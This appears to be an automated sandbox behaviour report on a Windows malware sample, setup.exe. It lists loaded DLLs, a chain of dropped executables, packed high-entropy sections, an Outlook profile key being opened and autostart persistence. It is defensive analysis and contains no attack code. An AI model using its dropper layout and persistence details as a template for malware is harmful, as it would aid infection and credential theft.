Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d11.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxgi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d10warp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wininet.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: devobj.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: webio.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winnsi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rasadhlp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: fwpuclnt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: schannel.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mskeyprotect.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncryptsslp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: setup.exe

Static file information: File size 1890304 > 1048576

Source: setup.exe

Static PE information: Raw size of rcpodcma is bigger than: 0x100000 < 0x19c400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\setup.exe	Unpacked PE file: 0.2.setup.exe.170000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rcpodcma:EW;xhzzwohn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rcpodcma:EW;xhzzwohn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 3.2.explortu.exe.580000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rcpodcma:EW;xhzzwohn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rcpodcma:EW;xhzzwohn:EW;.taggant:EW;
Source: C:\Users\user\1000015002\b6042db502.exe	Unpacked PE file: 5.2.b6042db502.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fxenntlj:EW;rfqkatsz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fxenntlj:EW;rfqkatsz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Unpacked PE file: 9.2.8bcaec3fef.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;scsndyuu:EW;ijglijhd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;scsndyuu:EW;ijglijhd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Unpacked PE file: 27.2.RageMP131.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lprblcfc:EW;njkxwkyq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lprblcfc:EW;njkxwkyq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Unpacked PE file: 28.2.axplong.exe.d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fxenntlj:EW;rfqkatsz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fxenntlj:EW;rfqkatsz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 29.2.explortu.exe.580000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rcpodcma:EW;xhzzwohn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rcpodcma:EW;xhzzwohn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: eaa97795e9.exe.2.dr	Static PE information: real checksum: 0x266982 should be: 0x25cc8c
Source: MPGPH131.exe.8.dr	Static PE information: real checksum: 0x266982 should be: 0x25cc8c
Source: random[1].exe0.2.dr	Static PE information: real checksum: 0x1d9cdf should be: 0x1d9d35
Source: random[1].exe1.2.dr	Static PE information: real checksum: 0x266982 should be: 0x25cc8c
Source: RageMP131.exe.8.dr	Static PE information: real checksum: 0x266982 should be: 0x25cc8c
Source: 8bcaec3fef.exe.2.dr	Static PE information: real checksum: 0x251736 should be: 0x24c75f
Source: setup.exe	Static PE information: real checksum: 0x1d9930 should be: 0x1d0006
Source: axplong.exe.5.dr	Static PE information: real checksum: 0x1d9cdf should be: 0x1d9d35
Source: explortu.exe.0.dr	Static PE information: real checksum: 0x1d9930 should be: 0x1d0006
Source: sarra[1].exe.2.dr	Static PE information: real checksum: 0x24f603 should be: 0x24aa59
Source: random[1].exe.2.dr	Static PE information: real checksum: 0x251736 should be: 0x24c75f
Source: b6042db502.exe.2.dr	Static PE information: real checksum: 0x1d9cdf should be: 0x1d9d35

Source: setup.exe	Static PE information: section name:
Source: setup.exe	Static PE information: section name: .idata
Source: setup.exe	Static PE information: section name:
Source: setup.exe	Static PE information: section name: rcpodcma
Source: setup.exe	Static PE information: section name: xhzzwohn
Source: setup.exe	Static PE information: section name: .taggant
Source: explortu.exe.0.dr	Static PE information: section name:
Source: explortu.exe.0.dr	Static PE information: section name: .idata
Source: explortu.exe.0.dr	Static PE information: section name:
Source: explortu.exe.0.dr	Static PE information: section name: rcpodcma
Source: explortu.exe.0.dr	Static PE information: section name: xhzzwohn
Source: explortu.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: .idata
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: scsndyuu
Source: random[1].exe.2.dr	Static PE information: section name: ijglijhd
Source: random[1].exe.2.dr	Static PE information: section name: .taggant
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name:
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name: .idata
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name:
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name: scsndyuu
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name: ijglijhd
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name: .taggant
Source: sarra[1].exe.2.dr	Static PE information: section name:
Source: sarra[1].exe.2.dr	Static PE information: section name: .idata
Source: sarra[1].exe.2.dr	Static PE information: section name:
Source: sarra[1].exe.2.dr	Static PE information: section name: rixklhlm
Source: sarra[1].exe.2.dr	Static PE information: section name: kyzvntvb
Source: sarra[1].exe.2.dr	Static PE information: section name: .taggant
Source: random[1].exe0.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name: .idata
Source: random[1].exe0.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name: fxenntlj
Source: random[1].exe0.2.dr	Static PE information: section name: rfqkatsz
Source: random[1].exe0.2.dr	Static PE information: section name: .taggant
Source: b6042db502.exe.2.dr	Static PE information: section name:
Source: b6042db502.exe.2.dr	Static PE information: section name: .idata
Source: b6042db502.exe.2.dr	Static PE information: section name:
Source: b6042db502.exe.2.dr	Static PE information: section name: fxenntlj
Source: b6042db502.exe.2.dr	Static PE information: section name: rfqkatsz
Source: b6042db502.exe.2.dr	Static PE information: section name: .taggant
Source: random[1].exe1.2.dr	Static PE information: section name:
Source: random[1].exe1.2.dr	Static PE information: section name: .idata
Source: random[1].exe1.2.dr	Static PE information: section name:
Source: random[1].exe1.2.dr	Static PE information: section name: lprblcfc
Source: random[1].exe1.2.dr	Static PE information: section name: njkxwkyq
Source: random[1].exe1.2.dr	Static PE information: section name: .taggant
Source: eaa97795e9.exe.2.dr	Static PE information: section name:
Source: eaa97795e9.exe.2.dr	Static PE information: section name: .idata
Source: eaa97795e9.exe.2.dr	Static PE information: section name:
Source: eaa97795e9.exe.2.dr	Static PE information: section name: lprblcfc
Source: eaa97795e9.exe.2.dr	Static PE information: section name: njkxwkyq
Source: eaa97795e9.exe.2.dr	Static PE information: section name: .taggant
Source: axplong.exe.5.dr	Static PE information: section name:
Source: axplong.exe.5.dr	Static PE information: section name: .idata
Source: axplong.exe.5.dr	Static PE information: section name:
Source: axplong.exe.5.dr	Static PE information: section name: fxenntlj
Source: axplong.exe.5.dr	Static PE information: section name: rfqkatsz
Source: axplong.exe.5.dr	Static PE information: section name: .taggant
Source: RageMP131.exe.8.dr	Static PE information: section name:
Source: RageMP131.exe.8.dr	Static PE information: section name: .idata
Source: RageMP131.exe.8.dr	Static PE information: section name:
Source: RageMP131.exe.8.dr	Static PE information: section name: lprblcfc
Source: RageMP131.exe.8.dr	Static PE information: section name: njkxwkyq
Source: RageMP131.exe.8.dr	Static PE information: section name: .taggant
Source: MPGPH131.exe.8.dr	Static PE information: section name:
Source: MPGPH131.exe.8.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.8.dr	Static PE information: section name:
Source: MPGPH131.exe.8.dr	Static PE information: section name: lprblcfc
Source: MPGPH131.exe.8.dr	Static PE information: section name: njkxwkyq
Source: MPGPH131.exe.8.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_00420A76 push ecx; ret		9_2_00420A89
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DB3F59 push ecx; ret		27_2_00DB3F6C

Source: setup.exe	Static PE information: section name: entropy: 7.983659376043328
Source: setup.exe	Static PE information: section name: rcpodcma entropy: 7.954832909258272
Source: explortu.exe.0.dr	Static PE information: section name: entropy: 7.983659376043328
Source: explortu.exe.0.dr	Static PE information: section name: rcpodcma entropy: 7.954832909258272
Source: random[1].exe.2.dr	Static PE information: section name: entropy: 7.984851641511565
Source: random[1].exe.2.dr	Static PE information: section name: scsndyuu entropy: 7.943139304831764
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name: entropy: 7.984851641511565
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name: scsndyuu entropy: 7.943139304831764
Source: sarra[1].exe.2.dr	Static PE information: section name: entropy: 7.987111046842174
Source: sarra[1].exe.2.dr	Static PE information: section name: rixklhlm entropy: 7.954282109274717
Source: random[1].exe0.2.dr	Static PE information: section name: entropy: 7.980770467400511
Source: random[1].exe0.2.dr	Static PE information: section name: fxenntlj entropy: 7.954110599148513
Source: b6042db502.exe.2.dr	Static PE information: section name: entropy: 7.980770467400511
Source: b6042db502.exe.2.dr	Static PE information: section name: fxenntlj entropy: 7.954110599148513
Source: random[1].exe1.2.dr	Static PE information: section name: entropy: 7.982488418091656
Source: random[1].exe1.2.dr	Static PE information: section name: lprblcfc entropy: 7.954067718951089
Source: eaa97795e9.exe.2.dr	Static PE information: section name: entropy: 7.982488418091656
Source: eaa97795e9.exe.2.dr	Static PE information: section name: lprblcfc entropy: 7.954067718951089
Source: axplong.exe.5.dr	Static PE information: section name: entropy: 7.980770467400511
Source: axplong.exe.5.dr	Static PE information: section name: fxenntlj entropy: 7.954110599148513
Source: RageMP131.exe.8.dr	Static PE information: section name: entropy: 7.982488418091656
Source: RageMP131.exe.8.dr	Static PE information: section name: lprblcfc entropy: 7.954067718951089
Source: MPGPH131.exe.8.dr	Static PE information: section name: entropy: 7.982488418091656
Source: MPGPH131.exe.8.dr	Static PE information: section name: lprblcfc entropy: 7.954067718951089

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File created: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sarra[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File created: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\1000015002\b6042db502.exe	File created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File created: C:\Users\user\1000015002\b6042db502.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

File created: C:\ProgramData\MPGPH131\MPGPH131.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

